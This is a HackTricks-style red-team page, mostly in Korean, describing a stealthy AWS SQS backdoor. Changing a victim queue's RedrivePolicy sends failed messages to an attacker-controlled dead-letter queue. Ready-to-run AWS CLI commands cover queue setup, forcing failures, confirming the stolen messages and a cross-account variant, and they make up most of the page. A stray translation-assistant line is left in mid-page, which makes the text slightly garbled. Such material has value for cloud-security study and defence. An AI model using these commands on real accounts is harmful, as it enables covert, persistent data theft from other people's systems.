AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQS Dead-Letter Queues (DLQs)를 악용해 피해자 source queue의 RedrivePolicy를 공격자 제어 큐로 지정함으로써 데이터를 은밀하게 유출할 수 있습니다. 낮은 maxReceiveCount를 설정하고 정상 처리 실패를 유도하거나 대기하면, 프로듀서나 Lambda event source mappings를 변경하지 않고도 메시지가 자동으로 공격자 DLQ로 전환됩니다.

악용되는 권한

  • sqs:SetQueueAttributes on the victim source queue (RedrivePolicy 설정용)
  • sqs:SetQueueAttributes on the attacker DLQ (RedriveAllowPolicy 설정용)
  • 가속을 위한 선택: sqs:ReceiveMessage on the source queue
  • 설정을 위한 선택: sqs:CreateQueue, sqs:SendMessage

동일 계정 흐름 (allowAll)

준비 (공격자 계정 또는 권한이 탈취된 principal):

bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

실행 (피해자 계정에서 손상된 principal로 실행):

bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

가속(선택 사항):

bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

파일 내용을 붙여넣어 주세요. 요청하신 규칙(태그·경로·코드 비번역 등)에 따라 영어 본문을 한국어로 번역해 드리겠습니다.

bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

예시 증거 (속성에는 DeadLetterQueueSourceArn이 포함됩니다):

json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Cross-Account Variant (byQueue)

attacker DLQ에서 RedriveAllowPolicy를 설정하여 특정 victim source queue ARNs만 허용하도록 합니다:

bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

Impact

  • 은밀하고 영속적인 data exfiltration/persistence: 피해자 SQS 소스 큐의 실패한 메시지를 자동으로 공격자 제어 DLQ로 우회시켜, 운영상 노이즈를 최소화하고 producers나 Lambda 매핑을 변경할 필요 없이 수행됩니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기